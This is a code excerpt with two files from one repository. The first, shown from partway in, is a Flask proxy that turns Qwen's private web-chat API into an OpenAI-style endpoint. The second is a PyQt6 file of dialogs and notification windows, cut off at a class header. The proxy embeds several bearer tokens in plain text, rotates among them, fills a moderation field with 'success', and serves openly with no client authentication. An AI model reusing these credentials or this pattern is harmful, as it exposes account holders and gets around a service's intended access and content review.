"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjlkYzNkNGI0LWE2ZGYtNGNjMi1iM2U4LWQwM2MzZGRhOWJlYSIsImxhc3RfcGFzc3dvcmRfY2hhbmdlIjoxNzU1MTM1NzQwLCJleHAiOjE3NTc3Mjc3ODV9.BbLfc-uPkiuXg5EtGQ8PBk9OEYAeTGunr043feyPxm4",
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjhjMTI2NjU0LTNiN2ItNDhhYi1hMDlkLTdjYWRhYmIzMWNiOCIsImxhc3RfcGFzc3dvcmRfY2hhbmdlIjoxNzU1MTQwOTgyLCJleHAiOjE3NTc3MzMwMTd9.grDFRe5JEg_q2NAy7rFIRQXhph3T8VmUpkgeJMC4nBY",
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjNlNWYzZTQ4LWNmMGYtNDE0Yy04Yzc0LWRlZjA1YWUxNzZhMyIsImxhc3RfcGFzc3dvcmRfY2hhbmdlIjoxNzU1MTQxMTA4LCJleHAiOjE3NTc3MzMxMzJ9.e2zfnKgLHXPeEYr4fHz9wP_IF4UeAUqXJZh4bxX9XdQ"
]
# 随机选择一个token
QWEN_AUTH_TOKEN = random.choice(QWEN_AUTH_TOKENS)
PORT = 58888 # 服务端绑定的端口
DEBUG_STATUS = False # 是否输出debug信息
# =================================================
os.environ['FLASK_ENV'] = 'production'
warnings.filterwarnings("ignore", message=".*development server.*")
def debug_print(message):
if DEBUG_STATUS:
print(f"[DEBUG] {message}")
class QwenSimpleClient:
def __init__(self, auth_token: str, base_url: str = "https://chat.qwen.ai"):
self.auth_token = auth_token
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.headers.update({
"accept-language": "zh-CN,zh;q=0.9,en;q=0.8",
"content-type": "application/json",
"source": "web",
"authorization": f"Bearer {self.auth_token}"
})
self.models_info = {}
self._fetch_models()
def _fetch_models(self):
try:
models_res = self.session.get(f"{self.base_url}/api/models")
models_res.raise_for_status()
self.models_info = {model['id']: model for model in models_res.json()['data']}
debug_print(f"获取到 {len(self.models_info)} 个模型")
except Exception as e:
print(f"获取模型列表失败: {e}")
def _get_qwen_model_id(self, openai_model: str) -> str:
if openai_model in self.models_info:
return openai_model
else:
default_model = "qwen3-235b-a22b"
print(f"模型 '{openai_model}' 未找到，使用默认模型 '{default_model}'")
return default_model
def create_chat(self, model_id: str, title: str = "API临时对话") -> str:
url = f"{self.base_url}/api/v2/chats/new"
payload = {
"title": title,
"models": [model_id],
"chat_mode": "normal",
"chat_type": "t2t",
"timestamp": int(time.time() * 1000)
}
try:
response = self.session.post(url, json=payload)
response.raise_for_status()
chat_id = response.json()['data']['id']
debug_print(f"成功创建对话: {chat_id}")
return chat_id
except requests.exceptions.RequestException as e:
debug_print(f"创建对话失败: {e}")
raise
def delete_chat(self, chat_id: str):
url = f"{self.base_url}/api/v2/chats/{chat_id}"
try:
delete_session = requests.Session()
delete_session.headers.update({
"authorization": f"Bearer {self.auth_token}",
"content-type": "application/json"
})
response = delete_session.delete(url)
response.raise_for_status()
res_data = response.json()
if res_data.get('success', False):
debug_print(f"成功删除对话: {chat_id}")
else:
debug_print(f"删除对话 {chat_id} 可能未成功: {res_data}")
except requests.exceptions.RequestException as e:
debug_print(f"删除对话失败 {chat_id} (可能已自动删除): {e}")
except json.JSONDecodeError:
debug_print(f"删除对话时无法解析 JSON 响应 {chat_id}")
def get_sts_token(self, filename: str, filesize: int, filetype: str):
"""获取用于上传图片的STS令牌"""
url = f"{self.base_url}/api/v2/files/getstsToken"
# 为每个请求生成唯一的 x-request-id
x_request_id = str(uuid.uuid4())
headers = {
"authorization": f"Bearer {self.auth_token}",
"content-type": "application/json",
"source": "web",
"x-request-id": x_request_id
}
data = {
"filename": filename,
"filesize": filesize,
"filetype": filetype
}
try:
response = self.session.post(url, headers=headers, json=data)
response.raise_for_status()
res_data = response.json()
if res_data.get("success") and "data" in res_data:
debug_print(f"成功获取STS令牌 for {filename}")
# 返回整个 data 字典，包含所有上传所需信息
return res_data["data"]
else:
raise Exception(f"获取STS令牌失败: {res_data}")
except requests.exceptions.RequestException as e:
debug_print(f"获取STS令牌请求失败: {e}")
raise
def upload_image_via_sts(self, image_data: bytes, sts_info: dict):
"""使用STS信息上传图片到OSS"""
# oss2.StsAuth 用于使用临时凭证
auth = oss2.StsAuth(
sts_info['access_key_id'],
sts_info['access_key_secret'],
sts_info['security_token']
)
# 注意：sts_info['endpoint'] 可能是 'oss-accelerate.aliyuncs.com'
# 而 bucket.endpoint 通常需要完整的 'http://' 或 'https://' 前缀
# 这里我们假设 sts_info['endpoint'] 是域名部分
bucket_endpoint = f"https://{sts_info['endpoint']}"
bucket = oss2.Bucket(auth, bucket_endpoint, sts_info['bucketname'])
object_name = sts_info['file_path']
# 上传文件对象 (BytesIO)
result = bucket.put_object(object_name, image_data)
if result.status == 200:
debug_print(f"图片上传成功: {sts_info['file_url']}")
return sts_info # 返回包含URL等信息的原始 sts_info
else:
raise Exception(f"图片上传到OSS失败, 状态码: {result.status}")
def prepare_qwen_files(self, openai_messages: list):
"""解析OpenAI消息中的图片，准备Qwen的files数组"""
qwen_files = []
for message in openai_messages:
if message.get("role") == "user" and isinstance(message.get("content"), list):
for content_item in message["content"]:
if content_item.get("type") == "image_url":
image_url = content_item["image_url"]["url"]
# 解析 image_url
# 支持两种格式：
# 1. data:image/png;base64,...
# 2. https://... (由 /v1/uploads 返回的完整URL，需从中提取file_id)
if image_url.startswith("data:image/"):
# Base64 数据 (客户端直接发送图片数据)
header, encoded = image_url.split(",", 1)
mime_type = header.split(";")[0].split(":")[1] # e.g., image/png
file_extension = mime_type.split("/")[-1] # e.g., png
try:
image_data = base64.b64decode(encoded)
file_size = len(image_data)
# 生成一个临时文件名
file_hash = hashlib.md5(image_data[:100]).hexdigest()[:8]
temp_filename = f"temp_upload_{file_hash}.{file_extension}"
# 1. 获取 STS 令牌
sts_info = self.get_sts_token(temp_filename, file_size, "image")
# 2. 上传图片
upload_result = self.upload_image_via_sts(image_data, sts_info)
# 3. 构造 Qwen 格式的 file 对象
qwen_file_obj = self._build_qwen_file_object(upload_result, temp_filename, file_size, mime_type)
qwen_files.append(qwen_file_obj)
except Exception as e:
print(f"处理Base64图片数据失败: {e}")
# 可以选择跳过此图片或返回错误
elif image_url.startswith(("http://", "https://")):
# 假设这是由 /v1/uploads 返回的URL，需要从中提取信息
# 实际上，更稳健的方法是客户端在调用 /v1/chat/completions 时，
# 直接提供从 /v1/uploads 返回的 file_id 或完整对象。
# 这里我们简化处理，假设 URL 结构可以解析出 file_id
# 但这很脆弱。更好的方式是客户端传递 file_id。
# 为了兼容性，我们假设客户端会传递一个特殊的标识符或结构
# 例如，一个包含 file_id 的 JSON 对象字符串化后作为 URL
# 或者，客户端直接在 image_url 中放入 file_id
# 这里我们采用一种更直接的假设：URL 参数中包含 file_id
# 但这需要与前端约定。
# *** 更推荐的方式：***
# 客户端在调用 /v1/chat/completions 时，对于已上传的图片，
# `image_url` 字段直接使用从 `/v1/uploads` 返回的 `file_id`
# 例如: "image_url": {"url": "file-id-returned-by-uploads"}
# 为了演示，我们假设 URL 最后一部分是 file_id
# (这在实际中可能不成立，需要根据实际情况调整)
try:
parsed_url = urlparse(image_url)
path_parts = parsed_url.path.strip("/").split("/")
if path_parts:
file_id_from_url = path_parts[-1].split("_")[0] # 简单提取
# 这里缺少了从 file_id 反查完整信息的步骤
# 在实际应用中，你需要在 /v1/uploads 时将 file_id 和 info 存储起来
# 例如在内存字典或临时缓存中
# 为简化，我们这里无法直接从 file_id 构造 qwen_file_obj
# 因此，此路径下的处理是不完整的，除非有额外的存储机制
print("警告：通过URL解析file_id的方式不推荐且不完整。请在客户端传递完整的file对象或file_id并由服务端维护映射。")
# 如果有存储机制，可以这样：
# stored_info = self.get_stored_file_info(file_id_from_url)
# if stored_info:
# qwen_files.append(stored_info)
# else:
# print(f"未找到file_id {file_id_from_url} 对应的信息")
except Exception as e:
print(f"解析图片URL失败: {e}")
else:
print(f"不支持的图片URL格式: {image_url}")
return qwen_files
def _build_qwen_file_object(self, upload_result: dict, filename: str, filesize: int, content_type: str):
"""根据上传结果构建Qwen API需要的文件对象"""
# upload_result 包含了 getstsToken 返回的所有 data 字段
return {
"type": "image",
"file": {
"created_at": int(time.time() * 1000),
"data": {}, # 通常为空
"filename": filename,
"hash": None, # 通常由服务端计算
"id": upload_result["file_id"],
"user_id": "...", # 用户ID，如果需要可以从token解析或由服务端管理
"meta": {
"name": filename,
"size": filesize,
"content_type": content_type
},
"update_at": int(time.time() * 1000)
},
"id": upload_result["file_id"],
"url": upload_result["file_url"],
"name": filename,
"collection_name": "",
"progress": 0,
"status": "uploaded",
"greenNet": "success", # 假设审核通过
"size": filesize,
"error": "",
"itemId": str(uuid.uuid4()), # 临时ID
"file_type": content_type,
"showType": "image",
"file_class": "vision",
"uploadTaskId": str(uuid.uuid4()) # 临时任务ID
}
def chat_completions(self, openai_request: dict):
model = openai_request.get("model", "qwen3")
messages = openai_request.get("messages", [])
stream = openai_request.get("stream", False)
qwen_model_id = self._get_qwen_model_id(model)
debug_print(f"处理请求: 模型={qwen_model_id}, 消息数={len(messages)}, 流式={stream}")
# 处理图片上传
qwen_files = self.prepare_qwen_files(messages)
# 准备文本内容和最终消息列表
final_messages = []
for msg in messages:
if isinstance(msg.get("content"), list):
# 过滤掉图片内容，只保留文本
text_content_parts = [item for item in msg["content"] if item.get("type") == "text"]
text_content = "\n".join([item["text"] for item in text_content_parts])
new_msg = msg.copy()
new_msg["content"] = text_content
final_messages.append(new_msg)
else:
final_messages.append(msg)
# 拼接所有文本消息作为输入
formatted_history = "\n\n".join([f"{msg['role']}: {msg['content']}" for msg in final_messages])
if final_messages and final_messages[0]['role'] != "system":
formatted_history = "system:\n\n" + formatted_history
user_input = formatted_history
chat_id = self.create_chat(qwen_model_id, title=f"API_对话_{int(time.time())}")
debug_print(f"为请求创建新会话: {chat_id}")
try:
timestamp_ms = int(time.time() * 1000)
payload = {
"stream": True,
"incremental_output": True,
"chat_id": chat_id,
"chat_mode": "normal",
"model": qwen_model_id,
"parent_id": None,
"messages": [{
"fid": str(uuid.uuid4()),
"parentId": None,
"childrenIds": [str(uuid.uuid4())],
"role": "user",
"content": user_input,
"user_action": "chat",
"files": qwen_files, # 注入处理好的文件列表
"timestamp": timestamp_ms,
"models": [qwen_model_id],
"chat_type": "t2t",
"feature_config": {"output_schema": "phase"},
"extra": {"meta": {"subChatType": "t2t"}},
"sub_chat_type": "t2t",
"parent_id": None
}],
"timestamp": timestamp_ms
}
headers = { "x-accel-buffering": "no" }
url = f"{self.base_url}/api/v2/chat/completions?chat_id={chat_id}"
if stream:
def generate():
try:
with self.session.post(url, json=payload, headers=headers, stream=True) as r:
r.raise_for_status()
finish_reason = "stop"
for line in r.iter_lines(decode_unicode=True):
if line.startswith("data: "):
data_str = line[6:]
if data_str.strip() == "[DONE]":
final_chunk = {
"id": f"chatcmpl-{chat_id[:10]}",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": model,
"choices": [{ "index": 0, "delta": {}, "finish_reason": finish_reason }]
}
yield f"data: {json.dumps(final_chunk)}\n\n"
yield "data: [DONE]\n\n"
break
try:
data = json.loads(data_str)
if "choices" in data and len(data["choices"]) > 0:
choice = data["choices"][0]
delta = choice.get("delta", {})
content = delta.get("content", "")
if content:
openai_chunk = {
"id": f"chatcmpl-{chat_id[:10]}",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": model,
"choices": [{ "index": 0, "delta": {"content": content}, "finish_reason": None }]
}
yield f"data: {json.dumps(openai_chunk)}\n\n"
if delta.get("status") == "finished":
finish_reason = delta.get("finish_reason", "stop")
except json.JSONDecodeError:
continue
except requests.exceptions.RequestException as e:
debug_print(f"流式请求失败: {e}")
error_chunk = {
"id": f"chatcmpl-error", "object": "chat.completion.chunk",
"created": int(time.time()), "model": model,
"choices": [{ "index": 0, "delta": {"content": f"Error during streaming: {str(e)}"}, "finish_reason": "error" }]
}
yield f"data: {json.dumps(error_chunk)}\n\n"
finally:
debug_print(f"流式请求结束，准备删除会话: {chat_id}")
self.delete_chat(chat_id)
return generate()
else:
response_text = ""
finish_reason = "stop"
usage_data = {"prompt_tokens": 0, "completion_tokens": 0, "total_tokens": 0}
try:
with self.session.post(url, json=payload, headers=headers, stream=True) as r:
r.raise_for_status()
for line in r.iter_lines(decode_unicode=True):
if line.startswith("data: "):
data_str = line[6:]
if data_str.strip() == "[DONE]":
break
try:
data = json.loads(data_str)
if "choices" in data and len(data["choices"]) > 0:
delta = data["choices"][0].get("delta", {})
if delta.get("content"):
response_text += delta["content"]
if "usage" in data:
qwen_usage = data["usage"]
usage_data = {
"prompt_tokens": qwen_usage.get("input_tokens", 0),
"completion_tokens": qwen_usage.get("output_tokens", 0),
"total_tokens": qwen_usage.get("total_tokens", 0),
}
if "choices" in data and len(data["choices"]) > 0:
delta = data["choices"][0].get("delta", {})
if delta.get("status") == "finished":
finish_reason = delta.get("finish_reason", "stop")
except json.JSONDecodeError:
continue
openai_response = {
"id": f"chatcmpl-{chat_id[:10]}",
"object": "chat.completion",
"created": int(time.time()),
"model": model,
"choices": [{
"index": 0,
"message": { "role": "assistant", "content": response_text },
"finish_reason": finish_reason
}],
"usage": usage_data
}
return jsonify(openai_response)
finally:
debug_print(f"非流式请求结束，准备删除会话: {chat_id}")
self.delete_chat(chat_id)
except requests.exceptions.RequestException as e:
debug_print(f"聊天补全失败: {e}")
self.delete_chat(chat_id)
return jsonify({
"error": {
"message": f"内部服务器错误: {str(e)}",
"type": "server_error",
"param": None,
"code": None
}
}), 500
# --- Flask 应用 ---
app = Flask(__name__)
CORS(app)
qwen_client = QwenSimpleClient(auth_token=QWEN_AUTH_TOKEN)
# 用于存储上传文件信息的简单内存字典 (生产环境请使用数据库或缓存)
# 格式: {file_id: {file_info}}
uploaded_files_store = {}
@app.route('/v1/models', methods=['GET'])
def list_models():
try:
openai_models = []
for model_id, model_info in qwen_client.models_info.items():
openai_models.append({
"id": model_info['info']['id'],
"object": "model",
"created": model_info['info']['created_at'],
"owned_by": model_info['owned_by']
})
return jsonify({"object": "list", "data": openai_models})
except Exception as e:
print(f"列出模型时出错: {e}")
return jsonify({
"error": { "message": f"获取模型列表失败: {e}", "type": "server_error", "param": None, "code": None }
}), 500
@app.route('/v1/uploads', methods=['POST'])
def upload_file():
"""处理文件上传请求"""
data = request.get_json()
if not data:
return jsonify({"error": {"message": "请求体无效", "type": "invalid_request_error"}}), 400
# 期望客户端发送 base64 编码的图片数据
# 例如: {"file_data": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgA..."}
file_data_url = data.get("file_data")
if not file_data_url or not file_data_url.startswith("data:image/"):
return jsonify({"error": {"message": "缺少有效的 base64 图片数据 (file_data)", "type": "invalid_request_error"}}), 400
try:
header, encoded = file_data_url.split(",", 1)
mime_type = header.split(";")[0].split(":")[1]
file_extension = mime_type.split("/")[-1]
image_data = base64.b64decode(encoded)
file_size = len(image_data)
file_hash = hashlib.md5(image_data[:100]).hexdigest()[:8]
temp_filename = f"uploaded_via_api_{file_hash}.{file_extension}"
# 1. 获取 STS 令牌
sts_info = qwen_client.get_sts_token(temp_filename, file_size, "image")
# 2. 上传图片
upload_result = qwen_client.upload_image_via_sts(image_data, sts_info)
# 3. 存储文件信息 (简化版内存存储)
file_id = upload_result["file_id"]
file_info_to_store = {
"file_id": file_id,
"url": upload_result["file_url"],
"name": temp_filename,
"size": file_size,
"type": mime_type
}
uploaded_files_store[file_id] = file_info_to_store
# 4. 返回成功信息，包含 file_id，供后续 /v1/chat/completions 使用
return jsonify({
"id": file_id,
"object": "file",
"bytes": file_size,
"created_at": int(time.time()),
"filename": temp_filename,
"purpose": "vision", # 或其他用途
"status": "uploaded",
"url": upload_result["file_url"] # 也可以只返回 file_id
}), 200
except Exception as e:
print(f"文件上传处理失败: {e}")
return jsonify({
"error": { "message": f"文件上传失败: {str(e)}", "type": "server_error", "param": None, "code": None }
}), 500
@app.route('/v1/chat/completions', methods=['POST'])
def chat_completions():
openai_request = request.get_json()
if not openai_request:
return jsonify({
"error": { "message": "请求体中 JSON 无效", "type": "invalid_request_error", "param": None, "code": None }
}), 400
# --- 修改点：增强对图片消息的处理 ---
messages = openai_request.get("messages", [])
processed_messages = []
for message in messages:
if message.get("role") == "user" and isinstance(message.get("content"), list):
processed_content = []
for item in message["content"]:
if item.get("type") == "text":
processed_content.append(item)
elif item.get("type") == "image_url":
image_url = item["image_url"]["url"]
# --- 关键逻辑：处理图片 ---
# 假设客户端在 image_url 中直接提供了从 /v1/uploads 返回的 file_id
if image_url in uploaded_files_store:
# 如果 URL 看起来像一个 file_id (简单检查)
# 在实际应用中，你可能需要更严格的验证
stored_file_info = uploaded_files_store[image_url]
# 我们不需要在这里做太多，因为 prepare_qwen_files 会处理
# 但我们可以记录或转换格式
# 为了兼容性，我们保持 image_url 不变，让 prepare_qwen_files 处理
processed_content.append(item)
else:
# 如果不是已知的 file_id，则假定是 base64 data URL
# 并在 prepare_qwen_files 中处理上传
processed_content.append(item)
else:
# 未知类型，跳过或原样保留？
# 为了安全，最好跳过未知类型
print(f"警告：消息中包含未知内容类型 {item.get('type')}, 已跳过。")
new_message = message.copy()
new_message["content"] = processed_content
processed_messages.append(new_message)
else:
processed_messages.append(message)
# 更新请求中的 messages
openai_request["messages"] = processed_messages
# --- 修改点结束 ---
stream = openai_request.get("stream", False)
try:
result = qwen_client.chat_completions(openai_request)
if stream:
return Response(stream_with_context(result), content_type='text/event-stream')
else:
return result
except Exception as e:
debug_print(f"处理聊天补全请求时发生未预期错误: {e}")
return jsonify({
"error": { "message": f"内部服务器错误: {str(e)}", "type": "server_error", "param": None, "code": None }
}), 500
@app.route('/v1/chats/<chat_id>', methods=['DELETE'])
def delete_chat(chat_id):
try:
qwen_client.delete_chat(chat_id)
return jsonify({"message": f"尝试删除会话 {chat_id}", "success": True})
except Exception as e:
debug_print(f"删除会话时发生错误: {e}")
return jsonify({
"error": { "message": f"删除会话失败: {str(e)}", "type": "server_error", "param": None, "code": None }
}), 500
@app.route('/', methods=['GET'])
def index():
return jsonify({
"message": "简化版千问 (Qwen) OpenAI API 代理正在运行 (支持图片上传)。",
"docs": "https://platform.openai.com/docs/api-reference/chat"
})
@app.route('/health', methods=['GET'])
def health_check():
return jsonify({"status": "healthy"}), 200
if __name__ == '__main__':
# 显示选择的token信息（只显示前8位和后8位，保护隐私）
token_index = QWEN_AUTH_TOKENS.index(QWEN_AUTH_TOKEN) + 1
token_preview = f"{QWEN_AUTH_TOKEN[:8]}...{QWEN_AUTH_TOKEN[-8:]}"
print(f"正在启动简化版服务器于端口 {PORT}...")
print(f"Debug模式: {'开启' if DEBUG_STATUS else '关闭'}")
print(f"负载均衡: 使用Token #{token_index}/{len(QWEN_AUTH_TOKENS)} ({token_preview})")
app.run(host='0.0.0.0', port=PORT, debug=False)
|
00000O00000/ask-ai-screenshot
| 29,524 |
custom_window.py
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
AI截图分析 - 自定义窗口组件
包含自定义消息框、通知窗口、Markdown渲染器等
"""
import re
import logging
from typing import Optional
from PyQt6.QtWidgets import (
QDialog, QVBoxLayout, QHBoxLayout, QLabel, QPushButton,
QTextEdit, QWidget, QFrame, QScrollArea, QApplication
)
from PyQt6.QtCore import Qt, QTimer, pyqtSignal, QPropertyAnimation, QRect, QEasingCurve
from PyQt6.QtGui import QFont, QPalette, QColor, QPixmap, QPainter, QBrush, QIcon
try:
import markdown
MARKDOWN_AVAILABLE = True
except ImportError:
MARKDOWN_AVAILABLE = False
logging.warning("Markdown模块未安装，将使用纯文本显示")
class CustomMessageBox(QDialog):
"""自定义消息框"""
def __init__(self, parent=None, title="", message="", icon_type="info", buttons=None):
super().__init__(parent)
self.result = None
self.init_ui(title, message, icon_type, buttons or ["确定"])
def init_ui(self, title, message, icon_type, buttons):
"""初始化界面"""
self.setWindowTitle(title)
self.setModal(True)
self.setFixedSize(400, 200)
# 设置窗口图标
try:
from icon_data import get_icon_data
icon_data = get_icon_data()
pixmap = QPixmap()
pixmap.loadFromData(icon_data)
self.setWindowIcon(QIcon(pixmap))
except ImportError:
# 如果icon_data模块不存在，回退到文件方式
import os
if os.path.exists('favicon.ico'):
self.setWindowIcon(QIcon('favicon.ico'))
# 设置样式
self.setStyleSheet("""
QDialog {
background-color: #f8fffe;
border: 2px solid #a8d8a8;
border-radius: 8px;
}
QLabel {
color: #333333;
font-size: 14px;
}
QPushButton {
background-color: #a8d8a8;
color: white;
border: none;
padding: 8px 16px;
border-radius: 4px;
font-weight: bold;
min-width: 80px;
}
QPushButton:hover {
background-color: #90c890;
}
QPushButton:pressed {
background-color: #78b878;
}
""")
layout = QVBoxLayout(self)
layout.setSpacing(20)
layout.setContentsMargins(20, 20, 20, 20)
# 图标和消息区域
content_layout = QHBoxLayout()
# 图标
icon_label = QLabel()
icon_label.setFixedSize(48, 48)
icon_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
# 根据类型设置图标颜色
icon_colors = {
"info": "#3498db",
"warning": "#f39c12",
"error": "#e74c3c",
"question": "#9b59b6",
"success": "#27ae60"
}
icon_color = icon_colors.get(icon_type, "#3498db")
icon_label.setStyleSheet(f"""
QLabel {{
background-color: {icon_color};
border-radius: 24px;
color: white;
font-size: 24px;
font-weight: bold;
}}
""")
# 设置图标文字
icon_texts = {
"info": "ℹ",
"warning": "⚠",
"error": "✕",
"question": "?",
"success": "✓"
}
icon_label.setText(icon_texts.get(icon_type, "ℹ"))
content_layout.addWidget(icon_label)
# 消息文本
message_label = QLabel(message)
message_label.setWordWrap(True)
message_label.setAlignment(Qt.AlignmentFlag.AlignLeft | Qt.AlignmentFlag.AlignVCenter)
content_layout.addWidget(message_label, 1)
layout.addLayout(content_layout)
# 按钮区域
button_layout = QHBoxLayout()
button_layout.addStretch()
for button_text in buttons:
button = QPushButton(button_text)
button.clicked.connect(lambda checked, text=button_text: self.button_clicked(text))
button_layout.addWidget(button)
layout.addLayout(button_layout)
# 居中显示
if self.parent():
parent_rect = self.parent().geometry()
x = parent_rect.x() + (parent_rect.width() - self.width()) // 2
y = parent_rect.y() + (parent_rect.height() - self.height()) // 2
self.move(x, y)
def button_clicked(self, button_text):
"""按钮点击处理"""
self.result = button_text
self.accept()
@staticmethod
def information(parent, title, message):
"""信息对话框"""
dialog = CustomMessageBox(parent, title, message, "info")
dialog.exec()
return dialog.result
@staticmethod
def warning(parent, title, message):
"""警告对话框"""
dialog = CustomMessageBox(parent, title, message, "warning")
dialog.exec()
return dialog.result
@staticmethod
def critical(parent, title, message):
"""错误对话框"""
dialog = CustomMessageBox(parent, title, message, "error")
dialog.exec()
return dialog.result
@staticmethod
def question(parent, title, message):
"""询问对话框"""
dialog = CustomMessageBox(parent, title, message, "question", ["是", "否"])
dialog.exec()
return dialog.result == "是"
class MarkdownViewer(QTextEdit):
"""Markdown渲染器"""
def __init__(self, parent=None):
super().__init__(parent)
self.setReadOnly(True)
self.setup_style()
# 性能优化：批量更新
self._pending_content = None
self._update_timer = QTimer()
self._update_timer.setSingleShot(True)
self._update_timer.timeout.connect(self._do_update)
self._update_timer.setInterval(50) # 50ms延迟批量更新
def setup_style(self):
"""设置样式"""
self.setStyleSheet("""
QTextEdit {
background-color: white;
border: 1px solid #e0e0e0;
border-radius: 4px;
padding: 10px;
font-family: 'Segoe UI Emoji', 'Microsoft YaHei', 'Noto Color Emoji', 'Apple Color Emoji', Arial, sans-serif;
font-size: 14px;
line-height: 1.6;
}
""")
def set_markdown(self, markdown_text: str):
"""设置Markdown内容（支持批量更新优化）"""
self._pending_content = markdown_text
self._update_timer.start() # 重启定时器
def _do_update(self):
"""执行实际的内容更新"""
if self._pending_content is None:
return
markdown_text = self._pending_content
self._pending_content = None
if MARKDOWN_AVAILABLE:
try:
# 配置markdown扩展
html = markdown.markdown(
markdown_text,
extensions=['codehilite', 'fenced_code', 'tables', 'toc'],
extension_configs={
'codehilite': {
'css_class': 'highlight',
'use_pygments': False
}
}
)
# 添加CSS样式
styled_html = f"""
<style>
body {{
font-family: 'Microsoft YaHei', Arial, sans-serif;
line-height: 1.6;
color: #333;
margin: 0;
padding: 0;
}}
h1, h2, h3, h4, h5, h6 {{
color: #2c3e50;
margin-top: 1.5em;
margin-bottom: 0.5em;
}}
h1 {{ font-size: 1.8em; border-bottom: 2px solid #a8d8a8; padding-bottom: 0.3em; }}
h2 {{ font-size: 1.5em; border-bottom: 1px solid #e0e0e0; padding-bottom: 0.3em; }}
h3 {{ font-size: 1.3em; }}
p {{ margin: 0.8em 0; }}
code {{
background-color: #f8f8f8;
border: 1px solid #e0e0e0;
border-radius: 3px;
padding: 2px 4px;
font-family: 'Consolas', 'Monaco', monospace;
font-size: 0.9em;
}}
pre {{
background-color: #f8f8f8;
border: 1px solid #e0e0e0;
border-radius: 4px;
padding: 10px;
overflow-x: auto;
margin: 1em 0;
}}
pre code {{
background: none;
border: none;
padding: 0;
}}
blockquote {{
border-left: 4px solid #a8d8a8;
margin: 1em 0;
padding-left: 1em;
color: #666;
font-style: italic;
}}
ul, ol {{ margin: 0.8em 0; padding-left: 2em; }}
li {{ margin: 0.3em 0; }}
table {{
border-collapse: collapse;
width: 100%;
margin: 1em 0;
}}
th, td {{
border: 1px solid #e0e0e0;
padding: 8px 12px;
text-align: left;
}}
th {{
background-color: #f8f8f8;
font-weight: bold;
}}
a {{
color: #a8d8a8;
text-decoration: none;
}}
a:hover {{
text-decoration: underline;
}}
</style>
{html}
"""
self.setHtml(styled_html)
except Exception as e:
logging.error(f"Markdown渲染失败: {e}")
self.setPlainText(markdown_text)
else:
self.setPlainText(markdown_text)
# 滚动到底部
scrollbar = self.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
def append_text(self, text: str):
"""追加文本（流式显示）"""
cursor = self.textCursor()
cursor.movePosition(cursor.MoveOperation.End)
cursor.insertText(text)
self.setTextCursor(cursor)
# 滚动到底部
scrollbar = self.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
class SmallNotificationWindow(QWidget):
"""小通知窗口"""
def __init__(self, message: str):
super().__init__()
self.message = message
self.init_ui()
self.setup_animation()
def init_ui(self):
"""初始化界面"""
self.setWindowFlags(
Qt.WindowType.FramelessWindowHint |
Qt.WindowType.WindowStaysOnTopHint |
Qt.WindowType.Tool
)
self.setAttribute(Qt.WidgetAttribute.WA_TranslucentBackground)
# 设置可变大小，支持滚动
self.setMinimumSize(300, 80)
self.setMaximumSize(400, 300)
# 处理连续换行
processed_message = self._process_text(self.message)
# 设置样式 - 纯白背景，黑色文字，小字体
self.setStyleSheet("""
QWidget {
background-color: white;
border-radius: 8px;
border: 1px solid #cccccc;
}
QScrollArea {
background-color: white;
border: none;
}
QLabel {
color: black;
font-size: 12px;
padding: 8px;
background-color: transparent;
}
""")
layout = QVBoxLayout(self)
layout.setContentsMargins(2, 2, 2, 2)
# 创建滚动区域
scroll_area = QScrollArea()
scroll_area.setWidgetResizable(True)
scroll_area.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
scroll_area.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAsNeeded)
# 消息标签
message_label = QLabel(processed_message)
message_label.setWordWrap(True)
message_label.setAlignment(Qt.AlignmentFlag.AlignLeft | Qt.AlignmentFlag.AlignTop)
scroll_area.setWidget(message_label)
layout.addWidget(scroll_area)
# 根据内容调整窗口大小
self._adjust_size(message_label)
# 定位到屏幕右下角
screen = QApplication.primaryScreen().geometry()
x = screen.width() - self.width() - 20
y = screen.height() - self.height() - 60
self.move(x, y)
def _process_text(self, text):
"""处理文本，将连续换行合并为一个"""
import re
# 将连续的换行符替换为单个换行符
processed = re.sub(r'\n+', '\n', text.strip())
return processed
def _adjust_size(self, label):
"""固定窗口大小"""
# 固定小窗大小为350x200
self.setFixedSize(350, 200)
def append_content(self, content):
"""追加内容到小窗"""
# 获取当前的消息标签
scroll_area = self.layout().itemAt(0).widget()
message_label = scroll_area.widget()
# 追加新内容
current_text = message_label.text()
new_text = current_text + content
processed_text = self._process_text(new_text)
message_label.setText(processed_text)
# 重新调整大小
self._adjust_size(message_label)
# 滚动到底部
scrollbar = scroll_area.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
# 重新定位到屏幕右下角
screen = QApplication.primaryScreen().geometry()
x = screen.width() - self.width() - 20
y = screen.height() - self.height() - 60
self.move(x, y)
def setup_animation(self):
"""设置动画"""
# 淡入动画
self.setWindowOpacity(0)
self.fade_in_animation = QPropertyAnimation(self, b"windowOpacity")
self.fade_in_animation.setDuration(300)
self.fade_in_animation.setStartValue(0)
self.fade_in_animation.setEndValue(1)
self.fade_in_animation.setEasingCurve(QEasingCurve.Type.OutCubic)
# 淡出动画
self.fade_out_animation = QPropertyAnimation(self, b"windowOpacity")
self.fade_out_animation.setDuration(300)
self.fade_out_animation.setStartValue(1)
self.fade_out_animation.setEndValue(0)
self.fade_out_animation.setEasingCurve(QEasingCurve.Type.InCubic)
self.fade_out_animation.finished.connect(self.close)
# 自动关闭定时器
self.close_timer = QTimer()
self.close_timer.setSingleShot(True)
self.close_timer.timeout.connect(self.start_fade_out)
def show_notification(self):
"""显示通知"""
self.show()
self.fade_in_animation.start()
self.close_timer.start(10000) # 10秒后自动关闭
def start_fade_out(self):
"""开始淡出"""
self.fade_out_animation.start()
def mousePressEvent(self, event):
"""鼠标点击关闭"""
self.start_fade_out()
class LargeNotificationWindow(QDialog):
"""大通知窗口"""
